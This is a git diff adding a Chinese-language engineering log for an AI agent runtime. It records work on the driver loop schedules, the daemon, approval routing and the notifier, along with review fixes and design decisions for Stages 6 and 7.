+`Iteration.Skipped`;`coalesce`:所有已到期 tick 折成一次立即迭代,无 +skip 事件。`interrupt` 需并发 launch,**延后 daemon 模块**(记档)。 +overlap 校验 ∈ {"", skip, coalesce}。 + +两测试(FakeClock 编排,工厂首调用 Advance(2h) 模拟长迭代):skip +(01:00 跑长 → 02:00/03:00 成 skipped 迭代 2/3 → 04:00 real run, +skipped/completed 逐位断言)、coalesce(错过双 tick 折一次立即跑, +仅一次 park、无 IterationSkipped)。cron loop 的 resume/durable 唤醒 +依赖 daemon(DESIGN 已文档化降级模式)。全量 check + race 通过。 + +## S6 模块③(续)— self_paced(schedule_next / finish_series)— DONE + +**两个内置数据定义 tool**(registry 11→13,goldens 更新): +`schedule_next{after}`(read-class,executor 只验参 + ack;**意义由 driver +在迭代结束后从 child journal 读出**——与 task 工具同 doctrine)、 +`finish_series{reason}`(read-class,同 ack)。 + +**driver `schedule: self_paced`**:prepare 把两 tool 注入 child spec 工具 +面(child 自己定节奏);`childIntent(childDir)` 折 child journal 取**最后 +一个成功配对**的声明(未答/error 结果不算,后声明覆盖前声明)。 +`applyPaceIntent`(迭代完成后): +- finish_series → **human 把关**(`confirmFinish` 走同一 ask 路径, + EnvApprovals unset fail-closed):approve → `DriverCompleted{satisfied}`; + deny → 系列以 pace 下限继续(child 无感,靠 series memory 后续补齐)。 +- schedule_next → `clampPace(after, pace_min, pace_max)` 存 `nextPace`, + awaitTick 于 `now+nextPace` park。 +- 无声明 → `on_no_intent`:finish(默认,不再要求即完成 → satisfied) + / continue(以 pace_min 重跑;**prepare 强制 continue 必配 pace_min**, + 健忘 child 不得空转)。 + +spec 新字段 `pace_min/pace_max/on_no_intent`(parse + min≤max 校验)。 +四测试:基本流(1m pace park→Advance→finish approve→satisfied@2)、 +no-intent 默认 finish(satisfied@1)、clamp(10h 请求 clamp 到 1h, +Advance(1h) 即醒)、denied finish(拒后 floor 0 立即续跑,下迭代 +no-intent 收束)。全量 check + race 通过。 + +**PLAN 模块③ 的 loop mode 语义至此齐**(interval/cron/self_paced + +overlap + 钳位 + 兜底)。未接:scheduler actor(幂等 RunAgent command, +含义在 daemon 语境下才完整)、series memory 注入(权威边界截断)、 +durable timer 跨进程唤醒(daemon)。 + +## S6 模块③(终)— series memory 注入时截断 — DONE + +`DriverSpec.SeriesMemory`(workspace 相对路径,agent 自管文档)。 +`buildTask()`:每迭代 task = spec.Task + `` 块——**8KB 截断 +在注入点执行**(权威边界:agent 放任文档膨胀也污染不了下迭代 context, +截断标记提示"keep this file short")。文件缺失/路径逃逸 workspace → 无块 +(首迭代无可记)。redact 由 child Run 的 IngestInput 兜底(既有路径)。 + +两测试:注入 e2e(iter 1 bash 写 SERIES.md → iter 2 scripted Expect +断言 task 含记忆内容,Expect 不匹配即 child_failed 故通过即证明)、 +truncation 单测(>8KB 截断 + 标记 + 长度上界;缺失文件/逃逸路径 → 裸 +task)。全量 check + race 通过。 + +**模块③ 收口**。scheduler actor(RunAgent command 发布)按 kickoff 记档 +归 daemon 语境,与模块④ 一并做。下一步:模块④ daemon(最大风险块—— +unix socket server、attach/detach、durable timer 触发、优雅停机、S5 回访 +项物化)。 + +## S6 — CLI `drive` 子命令(driver 可 dogfood)— DONE + +`driver.LoadSpec(path)`:driver YAML(`agent_spec` 相对路径解析进 +`Agent`;name/task/agent_spec 必填,错误格式与 agent.LoadSpec 一致)。 +`agentrunner drive [flags] `(task 在 spec 内,不走命令行): +- driverID = NewSessionID(now, spec.Name),session 树同 run(driver + journal 在 sessions//,child 在其 sub/iter-N)。 +- ChildFactory 复刻 run 的装配:frozen spec + allowance 钳制、 + buildPipeline(权限/mode/预算 gate)、共享 approvalResolver、共享 + provider(scripted 跨迭代同 cursor——fixture 顺序脚本整个系列, + acceptance 友好)、Judge = 同 provider、Artifacts 开在 session 下。 +- **exit code 契约**:satisfied → 0;loop mode 的 max_iterations 也是 + 正常收束 → 0;goal mode 的 max_iterations = 目标未达 → 1; + stopped/child_failed/budget/stalled → 1。spec 错误 → 2。 + +四 CLI e2e 测试:goal satisfied(2 迭代,progress.txt 落盘 + summary +行)、goal 不达 exit 1、loop 有界系列 exit 0、缺 agent_spec exit 2。 +全量 check + race 通过。 + +## S6 acceptance 场景包(第一批)— DONE(accept --stage 6 全绿) + +三场景: +- **s6-01 goal-verify**:`drive` 两迭代达 command verifier,progress.txt + 两行落盘、driver journal 有 `driver_completed{satisfied}`、per-iteration + child journal(sub/iter-1、iter-2)events_valid。 +- **s6-02 series-memory**:interval loop 两迭代,迭代 1 写 SERIES.md, + 迭代 2 scripted `expect.last_message_contains` 断言注入;driver stream + events_valid。 +- **s6-03 background-task**:`run` + `on_run_end: await`,handle 配对 + (turn 2 last_message 含 task_id)、`"background":true` 与 bg-done 皆 + 入 journal、exit 0。 + +**checkEvents 扩展**:journal 两形态共用格式——run journal(首 +run_started/尾 run_ended)与 **driver stream(首 iteration_scheduled/尾 +driver_completed)**,按首事件分流校验,其余(gapless seq、id、known +type、ts)同规。stage 1-5 acceptance 回归全绿。 + +s6_reattach(daemon attach)场景待模块④。**记档**:driver stream 无 +header 事实(spec/versions 不入 journal)——resume 依赖 CLI 每次重给 +spec;version discipline 是否要补 driver header 事实,S6 出口 review 议。 + +## S6 模块④(先行)— S5 回访:权限交集物化为数据 — DONE + +**语义前提**:PermissionGate 是 first-match(命中即裁),链式 gate 是 +AND(pipeline deny 短路、ask 聚合)。两份 first-match 规则表**扁平合并 +不保语义**(parent allow + child deny 合并后 first-match 可回 allow)—— +所以物化必须**按层**:`[][]PermissionRule`,外层(root)→ 内层(本 run)。 + +实现: +- `RunStarted.PermissionLayers json.RawMessage`(event 不能 import + pipeline——反向依赖,故存 raw JSON)。 +- `agent.Run()` 从 **live pipeline** 派生层(`marshalPermissionLayers`: + 收集 Gates 中每个非空 PermissionGate.Rules)。child pipeline 本身持有 + parent 的 gate 实例,所以 root(1 层)与 child(parent 层+child 层) + **同一代码路径自然正确**,无须穿参。空规则 gate 只有 mode 默认 + (每 gate 相同)不成层。 +- resume:journaled layers 存在 → `buildPipelineFromLayers`(每层一个 + gate 链装;hooks 仍取 live config——hook 是代码不可物化);缺失(旧 + session)→ 原 config-merge 路径。`assemblePipeline` 提取共用装配 + (floor → spawn → hooks → 权限层×N → budget;零层配一个空 gate 保 + mode 默认)。**语义改进记档**:resume 权限自此以 journal 冻结为准, + live config 漂移不再静默改写在飞 run 的权限。 +- 测试:spawn e2e(parent 1 层、child [parent, child] 两层有序入 + journal)+ 层重建语义单测(parent deny 管 child、child deny 管 + parent——扁平合并会回 allow 的反例、read 双层放行)。 + +全量 check + race 通过。模块④ 剩余:daemon 本体(socket/attach/timer/ +停机)+ 审批 correlation 跨进程路由。 + +## S6 模块④ — daemon 骨架(socket/线协议/广播/attach 缝合)— DONE + +新包 `internal/daemon`。**线协议 = protocol 包 JSON lines**(与 `--json` +同一编码,PLAN 原文):client→server 一行 Command(ping/run/attach), +server→client 为 protocol.Event 流。`protocol.Event` 加 `Session` 字段 +(daemon 多路复用必需;本地单 run 渲染留空,additive)。 + +- **职责切割**:daemon 只管 socket/wire/广播;run 装配经注入的 + `RunFunc(ctx, req, sink) error`(CLI 供真装配,测试供 fake)——daemon + 不 import cli,可独测。attach 补读经注入的 `Replay(session, sink)`。 +- **hostedRun 广播 hub**:Emit 扇出到订阅 chan(buffered 256,溢出 + DROP——可丢 delta doctrine,journal 是 durable 真相);finish 关闭全部 + 订阅。**run 属 daemon 生命周期非连接**:客户端跑路只是停止观看。 +- **attach = 补读 + 订阅**:先订阅后 replay(缝隙处宁可重复不可缺口); + 已结束/未托管 session 只补读即闭流;detach = 断连接,零事件 + (订阅不改结果硬线)。 +- **socket 独占**:live daemon 占用 → 报错拒绝双 daemon 分裂 session + 空间;stale socket(dial 不通)→ 回收重绑。停机 drain 在飞连接。 + +六测试:ping、run 流(session banner + 事件带 session tag)、run 存活 +于客户端跑路、attach 补读已结束 session、attach 活 run(补读→释放→ +live 事件无缺口)、socket 独占。全量 check + race 通过。 + +未接(模块④续):CLI `daemon`/`attach` 命令 + journal→protocol 重放 +渲染、durable timer 触发索引、优雅停机(SIGTERM→协作取消→snapshot)、 +审批 correlation 跨 socket 路由。 + +## S6 模块④(续)— CLI daemon/submit/attach + journal 重放 — DONE + +- **`daemon.ReplayJournal(sessionDir, sink)`**:journal → protocol.Event + 纯投影(attach 补读)。ephemeral 类(text delta、废弃半流)不在 journal + 故天然缺席——可丢 doctrine 的对偶。tool 结果按 ActivityStarted 配对 + 名字;Failed(Final)/Cancelled 渲染为 error 结果;Assistant tool_call + 部分渲染 KindToolCall。 +- **三个 CLI 命令**:`daemon`(常驻,真 RunFunc = run 同款装配减 tty: + 无 interrupts、EnvApprovals fail-closed——**审批经 socket 路由前, + headless daemon 只认 AGENTRUNNER_APPROVE,记档**);`submit`(把 run + 交给 daemon 托管并跟流;**exit 契约:流终无 run_end = run 未得善终 = + 失败**);`attach [--json] `(本地解析前缀,补读+跟流, + 文本渲染或 JSON lines)。 +- **socketPath 建目录**(daemon 可能是本机第一个 agentrunner 进程); + unix socket 108 字节路径上限记档(奇长 XDG_DATA_HOME 会 bind 失败, + 原样报错)。 +- **s6-04-reattach acceptance**:单 step 编排(后台 daemon → until -S + socket → submit → attach → kill),**fixture env 必须给 daemon 进程** + (provider 在 daemon 侧解析——排障发现,这就是跨进程 runtime 的第一 + 课)。attach 输出断言 run_end + 原文本。stage 6 四场景全绿,全量 + check + race 通过。 + +未接(模块④续):durable timer 触发索引、优雅停机、审批 correlation +跨 socket 路由、scheduler actor(RunAgent command)。 + +## S6 模块④(续)— daemon 优雅停机 — DONE + +SIGTERM/ctx 取消 → 协作取消传入每个 hosted run(loop abort 路径 journal +ActivityCancelled + RunEnded{canceled})→ **daemon 等全部 run 落终态 +journal 再退出**(`runsWG`),连接随后 drain——例行 deploy 零 in-doubt。 +停机中拒绝新 run(`daemon is shutting down`)。 + +**race 修复(-race 抓到)**:WaitGroup Add-after-Wait——晚到连接可在停机 +Wait 后 Add。修法:Add 与 `stopping` 标志同在 server mutex 临界区,停机 +先置 stopping 再 Wait,晚到 run 被拒,happens-before 成立。测试:park +的 hosted run + cancel → ListenAndServe 返回晚于 run 终态落定(atomic +标志);-race ×3 通过。snapshot-on-shutdown 不需要:终态 event 已 journal, +snapshot 只是优化(2.13);S7 barrier 槽位另议。 + +未接:durable timer 触发索引、审批 correlation 跨 socket 路由、 +scheduler actor。 + +## S6 模块④(续)— durable timer 触发索引 — DONE + +daemon 是 durable timer 的触发者(DESIGN):`sweepTimers` goroutine—— +`ScanTimers()`(注入;cli 实现 = 逐 session 折 journal:非 ended 且有 +pending timer → 最早 FireAt;**派生索引每 sweep 重算,journal 是真相**, +坏日志跳过不倒 sweep)→ 到期且未托管 → `hostResume`(与 submit run 同 +hub/runsWG/attach 语义)→ resume 自身的 `FirePendingTimers` 落 +`TimerFired`(复用 2.13 sweep,不另设机制)。睡到 min(最早未来 deadline, +1min 重扫)——他进程新 park 的 session 下轮可见。Clock 注入可测。 + +裁定:**resume 失败的 session 记入 failed 集(mu 保护),daemon 重启前 +不再重试**——in-doubt 需要人(inspect/events),每分钟锤它无益。首版 +`failed` map 曾从 resume goroutine 裸写(设计时即被 -race 视角揪出), +改为 Server 字段 + mu。 + +cli 接线:`hostResumeFunc` = resume 同款装配减 tty(spec/workspace 取 +journaled RunStarted,权限取 journaled layers——S6.14 物化在此兑现), +EnvApprovals fail-closed。已被他进程 flock 的 session → OpenEventStore +拒 → 记 failed(正确:活 run 不抢锁)。 + +两 sweeper 单测(FakeClock):过期即恢复/未来到点恢复/在飞不重复恢复; +失败不重试(3 轮 sweep 后 attempts==1)。全量 check + race 通过。 + +## S6 模块④(终)— 审批 correlation 跨 socket 路由 — DONE(S5 回访②兑现) + +**daemon.ApprovalBroker**:hosted run 的 ask 以 (session, approval_id) 键 +park 在 broker(`Ask` 阻塞至 `Answer` 或 ctx 终),`approve` 线命令 +(Command 加 ApprovalID/Decision/Reason)从任意第二连接应答;错 id 拒、 +双答 no-op(buffered-1)。 + +**上卷路径**:cli `socketApprovals` 适配器实现 agent.ApprovalResolver—— +**Resolve 先把 ask emit 到 hosted run 的 hub 再 park**。child loop 无 Out +sink(静默),但共享 parent 的 resolver(childLoop 既有语义),故 child +的 ask 自然上卷到 attach 流,`req.Agent` 字段标明谁在问(S5 review 的 +Agent 标识在此闭环)。protocol.Event 加 `ApprovalID`(additive),文本 +渲染直接给出 `agentrunner approve approve|deny` 提示。 + +新 CLI 命令 `approve +[reason]`。daemon/resume 装配的 Approvals 从 EnvApprovals 换 broker +resolver(ctx 终 = ask 撤销,循 loop 原语义)。round-trip 测试:双连接 +(run 侧见 ask → 错 id 拒 → 对 id approve → 理由回传 → run 完成)。 +全量 check + race 通过。 + +**模块④ daemon 收口**(骨架/CLI/重放/停机/timer 触发/审批路由)。 +scheduler actor 的独立形态并入 S6 出口 review 议题(现状:人工 submit + +driver 内 cron/interval + daemon timer resume 已覆盖其职责的可达子集)。 +下一步:模块⑤ notifier。 + +## S6 模块⑤ — notifier(生命周期通知 + 去重 stream + 启动对账)— DONE + +新包 `internal/notify`。**通道 = user 配置 shell command**(config +`notify: command: [...]`,JSON 上 stdin,ntfy/mail 皆可挂;**文档化 +carve-out:只认 user 层,Merge 完全不碰**——克隆来的 repo 不得重定向 +通知)+ stderr 兜底(无命令/命令失败均落 stderr,通知绝不静默丢)。 + +- **去重 stream**:notifier 自有 EventStore(`data/notifier/`), + `NotificationSent{Key,...}` 每投递一行;Open 折 sent 集,重启后同 key + 静默。**journal-before-send**:崩溃至多丢一条,绝不重复。 + `event.NotifierStream` 集合(run fold 覆盖测试跳过,同 DriverStream)。 +- **live tee**:daemon `Server.Notify` 钩子——hub.Emit 锁外对 + run_end/approval_request 回调;cli 侧 buffered-64 队列 + 单 goroutine + 消费(emit 路径不阻塞,溢出丢弃——journal+对账兜底)。key: + `run_end/`、`approval//`(live 与对账两路径 + 同 key 才去重)。 +- **启动对账**:扫 sessions,WAITING_APPROVAL 的 park 补通知(daemon + 死在 ask 与 notify 之间不丢时刻);**ended-run 对账明确不做**(首次 + 启用会把全部历史结局重放成新通知,记档)。命令超时 30s(挂死通道 + 不卡 notifier)。 + +测试:notify 包三测(去重跨 reopen + 投递内容、stderr 兜底、命令失败 +回退);daemon tee(只 tee 生命周期两类,带 session);对账两测(park +补一次、二次启动静默;ended/garbage 跳过)。全量 check + race 通过。 + +未接:blackboard bus 镜像(模块⑤ 回访项)、IterationCompleted 通知 +(driver 无 protocol sink,S6 出口 review 议)。 + +## S6 模块⑤(终)— blackboard bus 镜像 — DONE(S5 回访③兑现) + +`Board.Mirror func(Note)`(使用前设置,**锁外调用**——镜像回调可安全 +Read 不死锁,禁止回写 board;store 仍是 read-back 真相,镜像 +fire-and-forget)。`agent.Loop.BoardMirror` 字段:ensureBoard 创建时接入 +——**工具面不受影响**(face 仍只依赖 spec.Agents 白名单;曾考虑 daemon +预建 Board 注入,被否:那会让 daemon 托管 run 与本地 run/resume 的 face +漂移)。child 继承 parent Board,镜像自然覆盖全树。 + +daemon 接线:hostRunFunc 设 BoardMirror → hub 出新 protocol +`KindNote`(additive;渲染 `✎ [topic] from: text`)——attach 的 watcher +实时看到协作笔记(PLAN "notifier/frontend 可订阅" 的 frontend 腿; +notifier 不订 note,非生命周期时刻)。 + +测试:blackboard 镜像单测(逐条有序、锁外——回调内 Read 不死锁)。 +**模块⑤ notifier 收口**。剩:模块⑥ HTTP/WS 壳(cut line,预授权可 +延后)→ S6 出口对抗式 review。 + +## Stage 6 出口对抗式 review — 三镜头(correctness/concurrency · security · contract/DESIGN) + +三并行镜头,产出:correctness 1×P0(探针验证)+6×P1+若干 P2; +security 0×P0/P1+3×P2;contract 1×P0+4×P1+多 P2 及完成标志清单。 + +### 修复批 ①(本 commit,全部带回归测试或既有测试覆盖) + +- **[C-P0] loop-mode driver resume 误判终态**(探针验证):带质量 + verifier 的 interval/cron/self_paced 系列,重启后 Resume 把上迭代的 + Pass 再推导成 satisfied 杀死健康系列。修:再推导仅限 goal mode + (schedule==immediate)。`TestDriverLoopResumeContinues`。 +- **[K-P0] WAITING_TASKS park 不落 journal**(违反"挂起是显式状态, + 本身是 event"):drive 的 doWaitTasks 现以 WaitingEntered/Resolved + 包裹(resolution 用 WaitRules 词表 tasks_done / + tasks_cancelled_by_interrupt),projections/对账可见。 +- **[C-P1] await 的 outcome 永远到不了模型**(探针验证,且被自测掩盖 + ——scripted 只在耗尽时报错,剩步不报):decide() 无 call 且**末 + assistant 消息之后有 user-role 输入**→ doTurn(受 max_turns 界)。 + DESIGN 420"下一 turn 可见"至此才真兑现。await 测试改断言 3 turns + + waiting 事件;s6-03 场景补第三步(expect bg-done)。 +- **[C-P1] daemon 停机被挂死连接 wedge**:停机序列 = 拒新 run → + runsWG.Wait → **关闭全部残留连接** → conns drain。 + `TestDaemonShutdownWithHungClient`。 +- **[C-P1] ApprovalBroker 键冲突丢 ask**(并发兄弟 ask 的确定性 + call id 相同):Register/Wait 两阶段——占用 id 加 `#n` 后缀,**上浮 + 的 id 即注册 id**(cli 先 Register 再 emit);Wait 只删自己的注册。 + `TestApprovalBrokerCollision`。 +- **[C-P1] 重试花费漏记账**:runIteration 返回**全 attempts 折叠 + usage 之和**,IterationCompleted.Usage 用之(三处 journal 点统一), + 预算 reserve 不再超发。`TestDriverRetrySpendSettlesAllAttempts` + (100+150=250)。 +- **[C-P1] self_paced resume 丢 pace**:Resume 从末完成迭代的 child + journal 重推 childIntent → clamp 存 nextPace;awaitTick 的 first + 改为 n==1(系列首个,非 resume 首个)。 + `TestDriverSelfPacedResumeRespectsPace`(park 于 1h 再醒)。 +- **[C-P1] IterationSkipped 后崩溃重跑已 skip 槽位**:startN 越过 + Completed **和 Skipped**。`TestDriverResumeSkipsSkippedIterations`。 +- **[C-P2] quiesce 硬取消忙转**:ctx.Done 后阻塞收 done(killGroup + 保证 bash 必报)。**[C-P2] s.runs 永不清理**:run 结束即删注册 + (attach 转纯补读)。**[C-P2] notifier 停机丢队列**:ctx.Done 后 + drain 完再退。**[C-P2] settledChild 无视失败 reason**:error/canceled + 的已终 child 按失败结算,on_child_failure 跨崩溃一致。 + **[C-P2] cron lookahead 4 年不够**(2096→2104 闰年断档):9 年。 +- **[S-P2] wire 可传 bypass mode**:daemon run 命令 mode 白名单 + (default/plan/acceptEdits)。**[S-P2] 空规则 run 的 resume 从 live + config 重推权限**(冻结失效):marshalPermissionLayers 对存在 + pipeline 的 run 恒发显式 `[]`,resume 恒走冻结层路径。 + **[S-P2] socket 权限**:Listen 后显式 chmod 0600。 +- **[K-P2] verifier 审批 id 复用**:verify/finish 的 ApprovalID 带 + 迭代号(broker 键唯一)。**[K-P2]** cli/daemon.go 过时注释更正。 + +### 记账未修(收口议题/backlog,均有意识决定) + +- **[K-P1] RunAgent + Envelope.id=hash 幂等被机制替换**:driver 侧幂等 + 由 st.at(n)+确定性 child dir 实现(已测);但 daemon submit **无幂等 + 键**,重试= 新 session。收口议题:给 submit 加幂等键 或 按变更流程改 + DESIGN 590/603 口径。 +- **[K-P1] 完成标志① "无人 attach 的 cron 系列过夜出通知"不可达**: + 需 daemon 托管 driver + IterationCompleted 通知 + s6_series_overnight + 场景。**S6 收口 blocker,下一工作项**。 +- **[K-P1] verifier 未过管线、judge LLM 调用无 journal 痕迹**(DESIGN + 599/604):command 腿已记档为 v0 偏差;judge 腿补记于此。收口议题: + journaled activity 化 或 按变更流程改 DESIGN(verifier= driver 可信 + 配置 effect)。 +- **[K-P1] 悬空 deferral 关账**:await durable timer 兜底(DESIGN 430 + "必有"——未接,S7/backlog)、on_reserve_failure(未实现,reserve + 耗尽恒 stop)、overlap:interrupt(prepare 响亮拒,S7)、retry + backoff(仅 Max)。**[K-P2] backlog**:停滞失败指纹腿、 + runtime.daemon:never 旋钮、双 wire tool_result(fold 正确,前端 + 配对语义)、s6-01"三轮"/s6-04 live-park 场景加强、canceled 标志 + 采样竞态(外观级)、series-memory UTF-8 截断/fence 逃逸(健壮性)。 + +全量 check + race + stage 1-6 acceptance 回归全绿。 + +## S6 完成标志① 兑现 — daemon 托管 driver + 系列通知 + s6-05 场景 — DONE + +review 认定的收口 blocker(无人 attach 的系列过夜出通知,结构上不可达) +至此打通: +- **driver 生命周期出口**:`Driver.Out protocol.Sink`,在**单写路径**统一 + tee(所有 journal 点必经,failure/cancel 路一并覆盖): + IterationCompleted → 新 protocol `KindIteration{Turn=迭代号}`; + DriverCompleted → KindRunEnd{reason}。ReplayJournal 补 driver 两事件 + 投影(attach 补读同一故事)。 +- **daemon `drive` 线命令**:handleDrive 与 handleRun 同 hub/registry/ + runsWG/notify 语义;`submit --drive `(exit 契约复用 + driveSucceeded,本地 LoadSpec 判 schedule)。hub tee 过滤加 + KindIteration → notifier;toNotification 加 + `iteration//` 键。hostDriveFunc = drive 前台装配减 tty + (审批走 broker,human verifier/finish_series 跨 socket 可答)。 +- **场景抓出真 bug**:child run 的 KindRunEnd{completed} 抢先消费 + notifier 的 `run_end/` 去重键,driver 真结局(max_iterations) + 被当重复丢弃。修:`childLifecycleFilter`——child 的 run_start/run_end + 框架事件不入 hub(系列的生命周期属 driver;child 的 turns/messages/ + tool 事件照流)。 +- **s6-05-series-overnight**:interval 100ms ×3,notify command 通道 + `cat >> notes.log`(XDG_CONFIG_HOME 注入 user settings,carve-out + 路径),submit --drive 后台、无人读流,等 run_end 通知落盘再收;断言 + 3 条 iteration 通知 + max_iterations 结局 + journal 3 次 launch 无 + 重复 + driver_completed。**记档**:daemon 存活即"过夜"的可达子集; + cron 系列跨 daemon 重启的 durable 唤醒(driver stream 无 journaled + timer)仍在 backlog。 + +stage 6 五场景全绿;stage 1-5 回归绿;全量 check + race 通过。 + +## S6 收口议题裁定(按不变量变更流程,DESIGN 同 commit 修订) + +**① command 幂等口径(DESIGN 589-591/602-603)**: +- 冲突:声明的 `RunAgent` command + `Envelope.id = hash(driver_id, n)` + 未实现;driver 侧幂等由 fold 检查 + 确定性 child 目录达成(等价保证, + 出口 review 认可覆盖 driver-relaunch);daemon submit 重试则完全无 + 幂等(每次新 session)。 +- 裁定:**DESIGN 修订**——driver 幂等口径改为实际机制(fold 检查 + + 确定性目录,注明与原方案等价);scheduler 段注明 v0 无独立 actor + (cadence 在 driver、timer 唤醒在 daemon sweep),RunAgent 家族随 + webhook/壳落地;**补实现 daemon 线协议幂等**:`idem_key`(run/drive + 皆支持,daemon 生命周期内 key→session,重试转 attach 语义——活着 + 跟流、结束补读),CLI `submit --idem `。 + `TestDaemonSubmitIdempotency`(同 key 不重启动、异 key 新启动)。 + 跨 daemon 重启的 durable idem(需持久 key 索引)记 backlog。 +**② verifier 管线化(DESIGN 599/604-607)**: +- 冲突:"driver 从不碰 LLM/workspace" 与 "verifier 是过四关卡的 + effect" vs v0 直连执行、judge LLM 调用无 journal 痕迹、花费不入账。 +- 裁定:**DESIGN 修订** ——v0 例外成文:verifier 是 driver 规格里用户 + 可信配置声明的效果,直连执行、verdict 入 IterationCompleted、 + **花费计入迭代 usage**(本 commit 补:judge turn.Usage 沿 + verify→verifyOne→verifyLLMJudge 穿回并入 spent);过四关卡的 + verifier 管线化(journaled activity + 管线判定)列 **S7**。 + +## Stage 6 正式关闭 + +七模块交付情况:①background/tasks ✓ ②IterationDriver(goal 全功能+ +crash 恢复)✓ ③loop mode(interval/cron/self_paced + overlap skip/ +coalesce + series memory)✓ ④daemon(socket/attach/停机/timer 触发/ +审批路由/权限物化)✓ ⑤notifier(去重 stream/对账/carve-out/blackboard +镜像)✓ ⑥壳 — cut line 预授权延后 ✗。三条完成标志:①系列过夜出通知 +✓(s6-05)②goal 迭代达标 ✓(s6-01)③重开 attach 回同一 run ✓(s6-04)。 +出口对抗式 review 三镜头 → 修复批①(2×P0+6×P1+10×P2,九回归测试)+ +完成标志① 兑现 + 两项 DESIGN 调和,全部落地;backlog 项已逐条记档 +(overlap:interrupt、on_reserve_failure、retry backoff、await durable +timer、best-of-N、壳、停滞指纹腿、runtime.daemon 旋钮、驼 idem 持久化、 +cron 跨重启唤醒、task_output tail)。 + +**acceptance 全景:stage 1-6 共 24 场景全绿;全量 check + race 通过。** +下一步:S7 kickoff refinement(以 dogfood 经验修订 barrier/快照向量, +见 STAGES S7 章)。 + +## S7 kickoff refinement — DONE + +PLAN.md 新增 **S7 执行包**(替换"此处不预写"占位)。四条硬线:①快照 +永远是优化,journal 是真相(ref opaque、pinned until GC、backend=none +全程可用)②barrier 弱化 = consistent-enough cut(向量记 in-flight +tasks + 处置策略——S6 tasks fold 的 dogfood 直接输入;fork 目标仍只限 +barrier)③fork 两轴正交(事件切面 × 快照物化,对话/代码独立回退, +永不共享目录)④shadow repo 隐形(独立 GIT_DIR,排除策略成文,rewind +不复活凭据)。 + +实施序:还债包(verifier 管线化、await durable timer、driver header、 +idem 持久化)→ SnapshotStore+shadow repo → CheckpointBarrier 弱化 +(epilogue barrier 槽位兑现,**DESIGN §fork/rewind 修订在该步随 commit +走变更流程**,kickoff 不预改)→ fork/rewind(完成标志①②)→ +IndexStore → 沙箱/网络 → 云 workspace(cut)→ IDE(cut)。新 event: +CheckpointBarrier、ForkedFrom;fold 版本集 +barriers(10→11)。S6 +backlog 逐项归置(best-of-N 挂模块 3 后——依赖 worktree 隔离)。 + +三文档一致性:执行包引用 DESIGN §L1/§fork/rewind/§compaction 原文 +口径与 STAGES S7 范围/完成标志,DESIGN 本身未动(barrier 弱化修订 +按预告留给模块 2 的变更流程)。下一步:S7 还债包①——verifier 管线化。 + +## S7 还债① — verifier 管线化 — DONE(S6 v0 例外收回) + +verifier 现为 **journaled、经管线判定的 effect**: +- `Driver.Pipeline`:每个 verifier 执行前 `adjudicateVerifier` —— + journal `EffectRequested` → `Pipeline.Evaluate`(command = tool_call/ + execute 类携 args;llm_judge = llm_call 携 EstTokens)→ journal + `EffectResolved{verdict, gate 结果}`。**deny → verdict fail 带 gate + 理由(绝不静默过)**;**ask 收紧为 deny**(配置声明的效果无人应答, + 记档)。 +- **执行有迹**:`ActivityStarted{verifier:command|llm_judge|human}` / + `ActivityCompleted{Result=verdict JSON, Usage(judge)}` 括住执行—— + DESIGN "event log 就是 trace" 在 verifier 腿闭合。human verifier 本 + 就是 ask 路径,只加 activity 迹不重复判定。driver fold 忽略这些 + trace 事件(非决策态);acceptance 的 driver stream 首尾规则不受影响。 +- **信任层语义**:CLI(drive 前台 + daemon hostDriveFunc)构造 verifier + pipeline = buildPipeline(user/project 合并规则在前, **trailing + `{action: allow}` 走 spec 槽位** = driver-trust 层)——显式 user/ + project deny 约束 verifier,未命中放行,mode 默认永不触达。检查过 + config.Merge:spec 槽规则不受 untrusted 降级(与 agent spec 同信任 + 级,一致)。 +- DESIGN §运行形态 v0 例外注记改写为兑现口径(成文例外:journaled + + 管线判定 + 信任层 + ask 收紧)。 +- 三测试:deny 规则生效(verdict 带 denied 理由、EffectResolved{deny} + 入 journal、goal 不可满足)、activity trace 完整(2 迭代 = 各 2 个 + requested/allow/started/completed)、ask 收紧 deny。nil Pipeline = + allow-all(单测 harness 不受影响)。 + +全量 check + race + stage 5/6 acceptance 回归绿。还债包剩:await +durable timer、driver stream header、idem 持久化。 + +## S7 还债② — driver stream header(版本纪律)— DONE + +`DriverStarted{driver_id, spec_name, spec(JSON, redacted), +workspace_root, fold_version}` 为 driver stream 首事件(镜像 RunStarted +2.17:版本守卫 + spec 溯源,未来免 spec 文件 resume 的地基)。 +`driver.FoldVersion = 1`(单整数——driver fold 是一个结构体,不需要 +run 的 per-sub-state map);Resume 读 events[0]:header 版本不符 → +响亮拒绝;**S6 无 header 旧流按 v1 接受**(既有 resume 测试即向后 +兼容证明)。fold apply 记 DriverID;accept checkEvents 首事件规则加 +driver_started(iteration_scheduled 保留为 legacy 合法首事件)。 +两测试:mismatch 拒(FoldVersion 99)、新流 header 溯源完整。全量 +check + race + stage 6 acceptance 绿。 + +## S7 还债③ — daemon idem 持久化 — DONE + +`Server.IdemPath`(cli 接 `data/idem.json`):注册即整表原子重写 +(tmp+rename,0600;小表整写是最简正确),启动 `loadIdem`(缺失/损坏 += 空表,幂等降级为 daemon 生命周期,绝不报错)。测试:daemon #1 以 +key 提交后停机 → daemon #2 同 IdemPath 重试同 key → 不重复启动、流 +回持久化的 session(replay 语义)。还债包剩:await durable timer。 + +## S7 还债④ — await durable timer 兜底 — DONE(还债包收口) + +DESIGN "await 必有 durable timer 兜底" 兑现于 epilogue quiesce: +- spec 新字段 `await_timeout`(Go duration,校验正值,默认 30m)。 +- quiesce 的 await 分支**先 journal `TimerSet{tm-await-quiesce, + purpose=await_quiesce}`** 再等——durable 事实让 park-中崩溃的 session + 对 daemon sweep 可见(sweep 发现过期→尝试 resume;in-doubt 拒绝则记 + failed 留人工,既有语义);到点(Clock.WaitUntil goroutine → select + 分支)journal `TimerFired` → cancelAllBackground → 照常 drain 取消 + settle;任务按时清完 → journal `TimerCancelled`,fold.Timers 终局为空。 +- 记档:**mid-run 的 WAITING_TASKS park 仍无界**(interrupt/attach 为 + 逃生口,与 DESIGN 430 的收尾语义不同段);如 dogfood 显示需要同界, + S7 出口 review 再议。 + +两测试(FakeClock):超时腿(timer_set → fired → activity_cancelled → +run_ended 严格递增序)、按时腿(timer_cancelled 落盘、无 pending timer +存活)。**S7 还债包(①~④)全部收口**。全量 check + race + stage 6 +acceptance 绿。下一步:S7 模块 1——SnapshotStore + shadow repo backend。 diff --git a/STAGES.md b/STAGES.md new file mode 100644 index 0000000..c09bf7c --- /dev/null +++ b/STAGES.md @@ -0,0 +1,279 @@ +# AgentRunner — 